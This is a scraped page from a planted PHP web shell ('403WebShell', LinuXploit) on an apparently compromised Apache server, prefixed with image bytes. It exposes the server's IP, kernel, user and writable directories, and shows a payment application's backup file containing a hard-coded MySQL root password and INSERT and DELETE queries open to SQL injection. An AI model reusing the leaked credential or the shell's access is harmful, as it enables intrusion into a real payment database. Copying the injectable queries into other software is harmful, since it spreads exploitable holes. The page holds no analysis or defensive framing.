����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.22
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/application/payment/nppBackup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/application/payment/nppBackup/api.php.2025-03-01_155629.bak
<?php
$host = "localhost";
$user = "root";
$password = "Hues198020";
$dbname = "victoria"; // Cambia esto por el nombre de tu base de datos

$conn = new mysqli($host, $user, $password, $dbname);

if ($conn->connect_error) {
  die("Conexión fallida: " . $conn->connect_error);
}

$action = $_POST['action'];

// Cargar pagos
if ($action == 'load') {
  $sql = "SELECT * FROM payment";
  $result = $conn->query($sql);

  while ($row = $result->fetch_assoc()) {
    echo "<tr>
      <td>" . $row['id'] . "</td>
      <td>" . $row['payment_type_id'] . "</td>
      <td>" . $row['sale_id'] . "</td>
      <td>" . $row['person_id'] . "</td>
      <td>" . $row['week'] . "</td>
      <td>" . $row['val'] . "</td>
      <td>" . $row['pay_date'] . "</td>
      <td>" . $row['id_collector'] . "</td>
      <td>" . ($row['programmed'] == 1 ? 'Sí' : 'No') . "</td>
      <td>
		 <button class='btn btn-primary editPayment' data-id='" . $row['id'] . "' data-payment_type_id='" . $row['payment_type_id'] . "' data-sale_id='" . $row['sale_id'] . "' data-person_id='" . $row['person_id'] . "' data-week='" . $row['week'] . "' data-val='" . $row['val'] . "' data-pay_date='" . $row['pay_date'] . "' data-id_collector='" . $row['id_collector'] . "' data-programmed='" . $row['programmed'] . "'>Editar</button>
        <button class='btn btn-danger deletePayment' data-id='" . $row['id'] . "'>Eliminar</button>
      </td>
    </tr>";
  }
}

// Guardar pago
if ($action == 'save_pay') {
  $payment_type_id = $_POST['payment_type_id'];
  $sale_id = $_POST['sale_id'];
  $person_id = $_POST['person_id'];
  $week = $_POST['week'];
  $val = $_POST['val'];
  $pay_date = $_POST['pay_date'];
  $id_collector = $_POST['id_collector'];
  $programmed = $_POST['programmed'];
  $note = $_POST['note'];

  $sql = "INSERT INTO payment (payment_type_id, sale_id, person_id, week, val, pay_date, id_collector, programmed, note) 
          VALUES ('$payment_type_id', '$sale_id', '$person_id', '$week', '$val', '$pay_date', '$id_collector', '$programmed', '$note')";

  if ($conn->query($sql) === TRUE) {
    echo "Nuevo registro creado";
  } else {
    echo "Error: " . $sql . "<br>" . $conn->error;
  }
}

// Eliminar pago
if ($action == 'delete') {
  $id = $_POST['id'];
  $sql = "DELETE FROM payment WHERE id = $id";

  if ($conn->query($sql) === TRUE) {
    echo "Pago eliminado";
  } else {
    echo "Error: " . $conn->error;
  }
}

if ($_POST['action'] == 'update') {
  // Conectar a la base de datos
  // Asegúrate de sanitizar las entradas antes de usarlas para evitar inyecciones SQL.
  $id = $_POST['id'];
  $payment_type_id = $_POST['payment_type_id'];
  $sale_id = $_POST['sale_id'];
  $person_id = $_POST['person_id'];
  $week = $_POST['week'];
  $val = $_POST['val'];
  $pay_date = $_POST['pay_date'];
  $id_collector = $_POST['id_collector'];
  $programmed = $_POST['programmed'];

  $sql = "UPDATE payment SET payment_type_id = ?, sale_id = ?, person_id = ?, week = ?, val = ?, pay_date = ?, id_collector = ?, programmed = ? WHERE id = ?";
  $stmt = $conn->prepare($sql);
  $stmt->bind_param('issdissii', $payment_type_id, $sale_id, $person_id, $week, $val, $pay_date, $id_collector, $programmed, $id);
  $stmt->execute();

  echo 'Pago actualizado exitosamente';
}

$conn->close();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit